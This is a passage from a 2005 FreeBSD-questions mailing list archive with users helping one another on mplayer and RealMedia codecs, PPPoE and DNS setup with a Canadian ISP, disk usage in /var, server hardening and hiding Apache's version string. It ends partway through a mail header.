Subject: Re: mplayer vs xine X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Gert Cuykens List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 20:30:13 -0000 On Mon, 7 Feb 2005 03:42:05 -0800, Loren M. Lang wrote: > On Mon, Feb 07, 2005 at 01:59:39AM +0100, Danny Pansters wrote: > > On Saturday 5 February 2005 02:50, Rob wrote: > > > Jacob S wrote: > > > > I like mplayer for cli stuff and xine for gui. > > > > Mainly because the cli stuff I do is downloading and > > > > converting streams from wma/rm to wav/ogg/mp3, etc. > > > > and I use the gui for watching videos and such. > > > > > > How do you convert realmedia to other formats with > > > mplayer? > > > Or maybe first: how do you play realmedia streams > > > with mplayer? > > > > > > I have installed: > > > mplayer-gtk2-0.99.5_6 > > > linux-realplayer-10.0.2_1 > > > win32-codecs-2.1.0.p5,1 > > > > > > I can't play realplay streams with mplayer. > > > When I do: > > > mplayer -vo x11 "rtsp://some.site.com/movie.rm" > > > > > > I get lots of output in my terminal, among wich I > > > see: > > > > > > Opening video decoder: [realvid] RealVideo decoder > > > opening shared obj > > > '/usr/local/lib/win32/drv4.so.6.0' > > > Error: Shared object "libc.so.6" not found, required > > > by "drv4.so.6.0" opening win32 dll 'drv4.so.6.0' > > > > > > But libc.so.6 is in /usr/compat/linux/lib. Hmm, why > > > is that not found? I then did > > > ldconfig -m /usr/compat/linux/lib > > > > > > That helped. I started mplayer again, but then > > > mplayer crashed, as follows: > > > > > > [...snip...] > > > ================================================== > > > Opening audio decoder: [realaud] RealAudio decoder > > > opening shared obj '/usr/local/lib/win32/cook.so.6.0' > > > > > > MPlayer interrupted by signal 10 in module: > > > init_audio_codec > > > - MPlayer crashed. This shouldn't happen. > > > It can be a bug in the MPlayer code _or_ in your > > > drivers _or_ in your > > > gcc version. If you think it's MPlayer's fault, > > > please read > > > DOCS/HTML/en/bugreports.html and follow the > > > instructions there. We can't and > > > won't help unless you provide this information when > > > reporting a possible bug. > > > > > > ================================================== > > > > > > Any idea why I've got such problems with mplayer > > > and real video streams? > > > > I never gotten it to work either, a few of the codecs do -- I think the win32 > > only ones, but not the Unix ones from linux-realplayer. I'm sure mplayer/xine > > being natively compiled while the real codecs are mostly linux libraries via > > compat must be the problem. > > > > If someone wants to fix this, do look at what NetBSD does. They have a > > seperate real codecs package for it, I'm not sure what they do but their > > mplayer/xine do work with the rv1 to 4 codecs, and no errors about cook and > > all. > > I've had problems getting mplayer and xine to work with real codecs on > linux, some error with cook.dll or something. I think it will only work > with rp8 or rp9 codecs, but even though didn't work when I was running > in linux. I finally gave up and installed realplayer 10 which works > good in both linux and freebsd. Who needs realplayer anyway :P PS when i play a mp3 with xmms i can do as much as i want, it will never interfear with the playing music. With mplayer i can have for example a cash size of 10 secondes but after 10 seconds i can manege to do a buffer underrun. How i can tell mplayer to do the same buffering as xmms ? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 20:53:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DBC2616A4CE for ; Mon, 7 Feb 2005 20:53:19 +0000 (GMT) Received: from ms-smtp-01-eri0.socal.rr.com (ms-smtp-01-qfe0.socal.rr.com [66.75.162.133]) by mx1.FreeBSD.org (Postfix) with ESMTP id 97A1243D41 for ; Mon, 7 Feb 2005 20:53:19 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j17KrGkM003734 for ; Mon, 7 Feb 2005 12:53:17 -0800 (PST) From: Robert Marella To: freebsd-questions@freebsd.org In-Reply-To: References: Content-Type: text/plain Date: Mon, 07 Feb 2005 10:56:27 -1000 Message-Id: <1107809787.1183.9.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 20:53:20 -0000 On Sun, 2005-02-06 at 15:38 -0800, Ted Mittelstaedt wrote: Sorry if I offended anyone with my previous post re: freebsd-legal mail list. I just feel that all being discussed after the first 20 or so was 3 or 4 individuals expressing their opinions to each other. I _firmly_ believe that all have that right to express themselves. In fact I have fought to protect that right. That being said, I want to say I was wrong. There is more to discuss on this issue and I would like to add something. Poster 1 asks a question. Poster 2 answers with an excellent howto that solves the problem for multitudes. Me, thinking this is great, prints the post. Poster 2 decides he wants the archive wiped clean of his howto. And Freebsd complies. Can I then pass the hard copy to some of my associates without being sued? Keep up the good work. Robert From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:11:44 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3B35F16A4CE for ; Mon, 7 Feb 2005 21:11:44 +0000 (GMT) Received: from ms-smtp-02-eri0.socal.rr.com (ms-smtp-02-qfe0.socal.rr.com [66.75.162.134]) by mx1.FreeBSD.org (Postfix) with ESMTP id F27A643D45 for ; Mon, 7 Feb 2005 21:11:43 +0000 (GMT) (envelope-from hoe-waa@hawaii.rr.com) Received: from localhost.localdomain (cpe-66-8-191-104.hawaii.rr.com [66.8.191.104])j17LBf6V024354 for ; Mon, 7 Feb 2005 13:11:41 -0800 (PST) From: Robert Marella To: freebsd-questions@freebsd.org In-Reply-To: <1008235984.20050207170137@wanadoo.fr> References: <200502051745.25937.hindrich@worldchat.com> <20050205225512.GA78786@falcon.midgard.homeip.net> <20050207091209.D71459@maren.thelosingend.net> <20050207083428.GA22714@logik.ath.cx> <1008235984.20050207170137@wanadoo.fr> Content-Type: text/plain Date: Mon, 07 Feb 2005 11:14:51 -1000 Message-Id: <1107810891.1183.12.camel@p4> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine Subject: Re: Electricity bill - OT X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:11:44 -0000 On Mon, 2005-02-07 at 17:01 +0100, Anthony Atkielski wrote: > I don't know where the rest is going, but I suspect that > an aging electric water heater is consuming more than all the computer > equipment combined. I put a timer on my hot water heater and only run it a couple of hours per day. Saved about $30 per month. Of course, YMMV, I live in Hawai`i. Robert From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:22:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1C16516A4CE for ; Mon, 7 Feb 2005 21:22:04 +0000 (GMT) Received: from smtp-vbr8.xs4all.nl (smtp-vbr8.xs4all.nl [194.109.24.28]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8E99A43D49 for ; Mon, 7 Feb 2005 21:22:03 +0000 (GMT) (envelope-from rsmith@xs4all.nl) Received: from slackbox.xs4all.nl (slackbox.xs4all.nl [213.84.242.160]) by smtp-vbr8.xs4all.nl (8.12.11/8.12.11) with ESMTP id j17LM1Jb087166; Mon, 7 Feb 2005 22:22:02 +0100 (CET) (envelope-from rsmith@xs4all.nl) Received: by slackbox.xs4all.nl (Postfix, from userid 1001) id BFD386176; Mon, 7 Feb 2005 22:22:38 +0100 (CET) Date: Mon, 7 Feb 2005 22:22:38 +0100 From: Roland Smith To: Shawn B Message-ID: <20050207212238.GA96496@slackbox.xs4all.nl> Mail-Followup-To: Shawn B , freebsd-questions@freebsd.org References: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="k1lZvvs/B4yU6o8G" Content-Disposition: inline In-Reply-To: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> User-Agent: Mutt/1.4.2.1i X-GPG-Fingerprint: 1A2B 477F 9970 BA3C 2914 B7CE 1277 EFB0 C321 A725 X-GPG-Key: http://www.xs4all.nl/~rsmith/pubkey.txt X-GPG-Notice: If this message is not signed, don't assume I sent it! Organization: Me, organized? X-Virus-Scanned: by XS4ALL Virus Scanner cc: freebsd-questions@freebsd.org Subject: Re: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:22:04 -0000 --k1lZvvs/B4yU6o8G Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Feb 07, 2005 at 03:06:25PM -0500, Shawn B wrote: > I am fairly new at *nix and FreeBSD. I am attempting > to run a privately owned, publically accessible web > server from a PC running FreeBSD 4.8. I configured Maybe a bit OT, but you should consider upgrading to the latest release, especially on a machine accessible from the internet. Check your agreement with the ISP. Some ISPs expressly forbid you to run a server, or they might require you to ask permission first. You'll probably need a static IP address and a DNS record for your machine to be accessible. If you're new to FreeBSD and UNIX I'd recommend setting up and administrating your own workstation for a while before setting up and maintaining a publicly accessible webserver. If you're only going to administer your machine from the console (which is preferable, IMHO), disable all external access, e.g. by putting something like "-:ALL:ALL EXCEPT LOCAL" as the only rule in /etc/login.access. Do not run sshd, and certainly not telnet. In fact disable all servers that you do not need, and close all ports (via the firewall) except the ports needed for a web-server (port 80 and what-have-you). Run the webserver in a jail. > ppp.conf and rc.conf for the *old* ISP settings (the > ones that worked a year ago), and now they do now > work. I cannot connect the machine to the ISP. > Although PPP does enable, I cannot resolve any > domains. Can you reach other hosts by IP address? If so, it's probably just a question of telling your system where to find the nameservers: Add one or two nameserver lines to /etc/resolv.conf. I.e. lines that consist of the word "nameserver" followed by the IP address of the nameserver (seperated by whitespace). IIRC, you should also add or change the hosts line in /etc/nsswitch.conf to read "hosts: files dns". > The ISP is Bell-Sympatico (Canada), and they > are completely unwilling to help me, or provide > software that will accommodate *nix systems > specifically. Most ISP's helpdesks I've dealt with are somewhat clueless WRT anything but Windows. Maybe if you can get through one of their networking guys (who'll probably be running some kind of UNIX) you might get some more meaningfull answers. > I have tried every possible option I could conjure-up > with no avail. I have even exhaustively searched the > FreeBSD Handbook and Man pages on-line, and other > resources (such as Google) were no help. See e.g. =A711.10 in the manual on configuration files, especially =A711.10= .2. HTH, Roland --=20 R.F. Smith /"\ ASCII Ribbon Campaign r s m i t h @ x s 4 a l l . n l \ / No HTML/RTF in e-mail http://www.xs4all.nl/~rsmith/ X No Word docs in e-mail public key: http://www.keyserver.net / \ Respect for open standards --k1lZvvs/B4yU6o8G Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCB9weEnfvsMMhpyURAtE+AKCH0wNb8W0+YKOtnH0aFr1Yx9WTZQCeImMz LbEfPp+55/x7p/grxqHT4Lo= =zhd2 -----END PGP SIGNATURE----- --k1lZvvs/B4yU6o8G-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:34:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4DD6716A4CE for ; Mon, 7 Feb 2005 21:34:34 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.204]) by mx1.FreeBSD.org (Postfix) with ESMTP id 06E7043D2D for ; Mon, 7 Feb 2005 21:34:32 +0000 (GMT) (envelope-from dawgeestyle@gmail.com) Received: by rproxy.gmail.com with SMTP id f1so819084rne for ; Mon, 07 Feb 2005 13:34:31 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=JOAGcewlnN03eIL81DBW66Or7HVOOJvHLi8z7EJecQ49PFCQLepTwaKcqwL7O11DH5NxlcgB8hpnWlbgaLIu/tf+wwuWMAqpSY1ov7pObBhQjknDtUJZnhu7mBBJpn/XN/hqKT+c4SYu0rwlZ4Xpg+DWkkZqAVxvc65uDPK+gIc= Received: by 10.38.207.60 with SMTP id e60mr10665rng; Mon, 07 Feb 2005 13:34:31 -0800 (PST) Received: by 10.38.73.32 with HTTP; Mon, 7 Feb 2005 13:34:31 -0800 (PST) Message-ID: <5ae9cd5505020713345b617b02@mail.gmail.com> Date: Mon, 7 Feb 2005 16:34:31 -0500 From: Ben Dover To: freebsd-questions@freebsd.org In-Reply-To: <200502080024.41683.shinjii@virusinfo.rdksupportinc.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502072248.41306.shinjii@virusinfo.rdksupportinc.com> <420778F0.6040300@locolomo.org> <200502080024.41683.shinjii@virusinfo.rdksupportinc.com> Subject: Fwd: /var Full X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Ben Dover List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:34:34 -0000 You might want to try doing a cd /var and then try the command du -h which will show how much space each directory is using thus showing what is eating up your space. Compare this to df -h and if the numbers dont hash out a process is keeping disk space. To find out which process could be doing that you can install lsof from /usr/ports/sysutils/lsof In my case it was as easy as killing apache and restarting it and I cleared up hundreds of MB of space. ---------- Forwarded message ---------- From: Warren Date: Tue, 8 Feb 2005 00:24:41 +1000 Subject: Re: /var Full To: freebsd-questions@freebsd.org On Tue, 8 Feb 2005 12:19 am, Erik Norgaard wrote: > Warren wrote: > > im trying to get cacti working, but since im using a small P2 300 machine > > with a small hdd my /var has suddenly become full and im wodering what is > > safe and not safe so to speak to del in the /var dir > > Although you have now found your solution, I'd recommend for such a > question to submit the output of 'du -d1' instead - this will show which > directories are using up the space. > > Cheers, Erik enterprise# du -d1 /var 2 /var/.snap 2 /var/account 6 /var/at 16 /var/backups 4 /var/crash 8 /var/cron 32946 /var/db 2 /var/empty 2 /var/heimdal 2 /var/log 4 /var/mail 4 /var/msgs 2 /var/preserve 40 /var/run 2 /var/rwho 185556 /var/spool 5376 /var/tmp 20 /var/yp 26 /var/named 28 /var/smtpd 224050 /var -- Yours Sincerely Shinjii http://www.shinji.nq.nu _______________________________________________ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:54:43 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B9E1716A4CE; Mon, 7 Feb 2005 21:54:43 +0000 (GMT) Received: from mail.rimasec.net (nyc.rimasec.net [209.133.8.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2114F43D3F; Mon, 7 Feb 2005 21:54:43 +0000 (GMT) (envelope-from rick@rimasec.net) Received: from localhost (mail.rimasec.net [209.133.8.163]) by mail.rimasec.net (Postfix) with ESMTP id 17E0F2B855; Mon, 7 Feb 2005 16:54:40 -0500 (EST) Received: from mail.rimasec.net ([209.133.8.163]) by localhost (nyc.rimasec.net [209.133.8.163]) (amavisd-new, port 10024) with ESMTP id 17934-04; Mon, 7 Feb 2005 16:54:38 -0500 (EST) Received: from zombie.mtl.rptn.net (mtl.rptn.net [216.113.17.176]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client did not present a certificate) by mail.rimasec.net (Postfix) with ESMTP id C38752B836; Mon, 7 Feb 2005 16:54:38 -0500 (EST) From: Rick Fournier Organization: RimaSec Internet Services To: freebsd-isp@freebsd.org Date: Mon, 7 Feb 2005 16:54:32 -0500 User-Agent: KMail/1.7.2 References: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> In-Reply-To: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart12344668.FJuxiyshRD"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502071654.36262.rick@rimasec.net> X-Virus-Scanned: by amavisd-new at mta.rimasec.net cc: Shawn B cc: freebsd-questions@freebsd.org Subject: Re: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:54:44 -0000 --nextPart12344668.FJuxiyshRD Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline You dont need any software from sympatico, you can use ppp from FreeBSD to = do=20 pppoe. http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pppoe.html make sure your username ends with @sympatico.ca, then make sure you get val= id=20 sympatico DNS servers in your /etc/resolv.conf file. <-- I worked at sympatico once, their real bitches about unix/linux support= ,=20 and to think the guy from roaring penguin who wrote the linux pppoe client= =20 onced worked for them. they should at least recommend that one! --> =2DRick On February 7, 2005 03:06 pm, Shawn B wrote: > I am fairly new at *nix and FreeBSD. I am attempting > to run a privately owned, publically accessible web > server from a PC running FreeBSD 4.8. I configured > ppp.conf and rc.conf for the *old* ISP settings (the > ones that worked a year ago), and now they do now > work. I cannot connect the machine to the ISP. > Although PPP does enable, I cannot resolve any > domains. The ISP is Bell-Sympatico (Canada), and they > are completely unwilling to help me, or provide > software that will accommodate *nix systems > specifically. They do, however, have PPPoE software > for Linux. Since I am new to FreeBSD, I do not want to > try this software unless I know it will work ok. The > software is available here > http://service.sympatico.ca/index.cfm?method=3Dcontent.view&content_id=3D= 1138&c >ategory_id=3D99 > > I have tried every possible option I could conjure-up > with no avail. I have even exhaustively searched the > FreeBSD Handbook and Man pages on-line, and other > resources (such as Google) were no help. > > I thank you for any help yous' may provide to me. I am > running short on time and patience in getting this > system on-line. If this should have been send > elsewhere, please let me know. > > ______________________________________________________________________ > Post your free ad now! http://personals.yahoo.ca > _______________________________________________ > freebsd-isp@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-isp > To unsubscribe, send any mail to "freebsd-isp-unsubscribe@freebsd.org" =2D-=20 Rimasec Internet Services www.rimasec.net / info@rimasec.net phone: (514) 998-7830 / fax: (514) 998-7130 Owner & Systems Administrator / Rick Fournier (rick@rimasec.net) GnuPG / PGP Key: 31846E22 (http://www.rimasec.net/keys/rick.asc) Key Fingerprint: B1E3 AE2E C867 F491 BF9F 9485 7818 122D 3184 6E22 --nextPart12344668.FJuxiyshRD Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQBCB+OceBgSLTGEbiIRAk0oAJ47nSI+vczb3F/79snH/EDoSFnR7ACgsYIf 57n0vrWrq3yzlf8kQcGiA0o= =nQbK -----END PGP SIGNATURE----- --nextPart12344668.FJuxiyshRD-- From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:59:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B31AB16A4CE for ; Mon, 7 Feb 2005 21:59:27 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.203]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2075843D39 for ; Mon, 7 Feb 2005 21:59:25 +0000 (GMT) (envelope-from pergesu@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so809723wri for ; Mon, 07 Feb 2005 13:59:19 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=HJFL/MlvNt6TxqgSTrCqza3QNGH264ZT11YXFXC5ruxBIm8055v22bcQV9bQ9IIOw1/cBUcTelN3LKCwcFCOXIajmpW0xOndd08NNM3HuFgPPmzJ1sAv5NOQZkUDb3M7B/w3fGiRv7J+Mni0EI17N/NYJl1+5nr39/HjhSb+Kng= Received: by 10.54.46.67 with SMTP id t67mr77175wrt; Mon, 07 Feb 2005 13:59:19 -0800 (PST) Received: by 10.54.42.28 with HTTP; Mon, 7 Feb 2005 13:59:19 -0800 (PST) Message-ID: <810a540e0502071359355a641d@mail.gmail.com> Date: Mon, 7 Feb 2005 14:59:19 -0700 From: Pat Maddox To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Pat Maddox List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:59:27 -0000 I've got mod_php installed as well as mod_jk, so whenever there's a 404 Apache displays Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 I'm not sure if I'm being overly paranoid, but I don't really like the fact that all that info gets displayed. Is there any way I can change Apache's version string, like I can with any ftp or smtp daemon? From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 21:59:58 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A371616A4D8 for ; Mon, 7 Feb 2005 21:59:58 +0000 (GMT) Received: from mail.schmut.com (dsl092-049-002.sfo4.dsl.speakeasy.net [66.92.49.2]) by mx1.FreeBSD.org (Postfix) with SMTP id 4F66143D3F for ; Mon, 7 Feb 2005 21:59:58 +0000 (GMT) (envelope-from mario@schmut.com) Received: (qmail 35506 invoked by uid 89); 7 Feb 2005 21:59:57 -0000 Received: from schmut.com (snoopy.schmut.com [192.168.23.1]) by snoopy.schmut.com (tmda-ofmipd) with ESMTP; Mon, 07 Feb 2005 13:59:54 -0800 (PST) Received: from 192.168.23.8 (SquirrelMail authenticated user mario@schmut.com) by mail.schmut.com with HTTP; Mon, 7 Feb 2005 13:59:55 -0800 (PST) Message-ID: <51625.192.168.23.8.1107813595.squirrel@mail.schmut.com> Date: Mon, 7 Feb 2005 13:59:55 -0800 (PST) To: , In-Reply-To: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> References: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> X-Priority: 3 Importance: Normal X-Mailer: SquirrelMail (version 1.2.9) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Delivery-Agent: TMDA/1.0.3 (Seattle Slew) From: mario X-Primary-Address: mario@schmut.com cc: shawnblan@yahoo.com Subject: Re: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mario List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 21:59:58 -0000 So, Shawn B wrote: > I am fairly new at *nix and FreeBSD. I am attempting > to run a privately owned, publically accessible web > server from a PC running FreeBSD 4.8. I configured > ppp.conf and rc.conf for the *old* ISP settings (the > ones that worked a year ago), and now they do now > work. I cannot connect the machine to the ISP. > Although PPP does enable, I cannot resolve any > domains. The ISP is Bell-Sympatico (Canada), and they you mean you can connect? can you ping their gateway ip. domain resolution is done via dns. You need to add the dns server address they provide to your /etc/resolv.conf file by hand, or run your own dnscache. i guess PPPoE only provides a gateway address which is handled by add default HISADDR below. > are completely unwilling to help me, or provide > software that will accommodate *nix systems sounds like SBC > specifically. They do, however, have PPPoE software > for Linux. Since I am new to FreeBSD, I do not want to ppp does pppoe out of the box. Here's mine [quote] default: # this was my old pacbell sbc account dynamic ip nunber # my nic card is ed0 pacbell: set log Phase tun command set ifaddr 10.10.0.1/0 10.10.0.2/0 set timeout 0 # my nic card is ed0 set device PPPoE:ed0 set authname myaccount@sbcglobal.net set authkey mypass set dial set login add default HISADDR # nowadays i have static numbers hence this works speakeasy: set log Phase Chat LCP IPCP CCP tun command set device /dev/cuaa1 set speed 115200 set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \ \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 CONNECT" set timeout 180 set phone "240 9004" set authname myaccount set authkey mypasswd set login "TIMEOUT 10 \"\" \"\" gin:--gin: \\U word: \\P" add default HISADDR [/quote] > I have tried every possible option I could conjure-up > with no avail. I have even exhaustively searched the > FreeBSD Handbook and Man pages on-line, and other > resources (such as Google) were no help. you mean here? http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/pppoe.html then [snip] 21.5.3 Running ppp As root, you can run: # ppp -ddial name_of_service_provider [/snip] That would translate into ppp -ddial pacbell or ppp -ddial speakeasy > I thank you for any help yous' may provide to me. I am > running short on time and patience in getting this > system on-line. If this should have been send > elsewhere, please let me know. cross posting is generally frowned upon mario;> Micro$oft is nice, as long as it's not required. We Can Put an End to the Requirement: http://www.fsf.org/philosophy/no-word-attachments.html B.T.W. do YOU schmut!? --|-- http://www.schmut.com From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:04:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EA22B16A4CE for ; Mon, 7 Feb 2005 22:04:03 +0000 (GMT) Received: from mail.schmut.com (dsl092-049-002.sfo4.dsl.speakeasy.net [66.92.49.2]) by mx1.FreeBSD.org (Postfix) with SMTP id 9F32143D41 for ; Mon, 7 Feb 2005 22:04:03 +0000 (GMT) (envelope-from mario@schmut.com) Received: (qmail 35687 invoked by uid 89); 7 Feb 2005 22:04:03 -0000 Received: from schmut.com (snoopy.schmut.com [192.168.23.1]) by snoopy.schmut.com (tmda-ofmipd) with ESMTP; Mon, 07 Feb 2005 14:03:52 -0800 (PST) Received: from 192.168.23.8 (SquirrelMail authenticated user mario@schmut.com) by mail.schmut.com with HTTP; Mon, 7 Feb 2005 14:03:53 -0800 (PST) Message-ID: <51644.192.168.23.8.1107813833.squirrel@mail.schmut.com> Date: Mon, 7 Feb 2005 14:03:53 -0800 (PST) To: In-Reply-To: <51625.192.168.23.8.1107813595.squirrel@mail.schmut.com> References: <20050207200625.22499.qmail@web30203.mail.mud.yahoo.com> <51625.192.168.23.8.1107813595.squirrel@mail.schmut.com> X-Priority: 3 Importance: Normal X-Mailer: SquirrelMail (version 1.2.9) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Delivery-Agent: TMDA/1.0.3 (Seattle Slew) From: mario X-Primary-Address: mario@schmut.com cc: freebsd-isp@freebsd.org cc: mario@schmut.com cc: shawnblan@yahoo.com cc: freebsd-questions@freebsd.org Subject: Re: ISP connection issue X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: mario List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 07 Feb 2005 22:04:04 -0000 So, mario wrote: > # nowadays i have static numbers hence this works > speakeasy: > set log Phase Chat LCP IPCP CCP tun command > set device /dev/cuaa1 > set speed 115200 > set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \ > \"\" AT OK-AT-OK ATE1Q0 OK \\dATDT\\T TIMEOUT 40 > CONNECT" > set timeout 180 > set phone "240 9004" > set authname myaccount > set authkey mypasswd > set login "TIMEOUT 10 \"\" \"\" gin:--gin: \\U word: \\P" > add default HISADDR scrap this!! that is my dial up fallback account :o mario;> Micro$oft is nice, as long as it's not required. We Can Put an End to the Requirement: http://www.fsf.org/philosophy/no-word-attachments.html B.T.W. do YOU schmut!? --|-- http://www.schmut.com From owner-freebsd-questions@FreeBSD.ORG Mon Feb 7 22:05:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CEE4216A4CE; Mon, 7 Feb 2005 22:05:26 +0000 (GMT) Received: from mail.rimasec.net (nyc.rimasec.net [209.133.8.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 96C0243D31; Mon, 7 Feb 2005 22:05:26 +0000 (GMT) (envelope-from rick@rimasec.net) Received: from localhost (mail.rimasec.net [209.133.8.163]) by mail.rimasec.net (Postfix) with ESMTP id E64272B855; Mon, 7 Feb 2005 17:05:25 -0500 (EST) Received: from mail.rimasec.net ([209.133.8.163]) by localhost (nyc.rimasec.net [209.133.8.163]) (amavisd-new, port 10024) with ESMTP id 17934-07; Mon, 7 Feb 2005 17:05:25 -0500 (EST) Received: from zombie.mtl.rptn.net (mtl.rptn.net [216.113.17.176]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client did not present a certificate) by mail.rimasec.net (Postfix) with 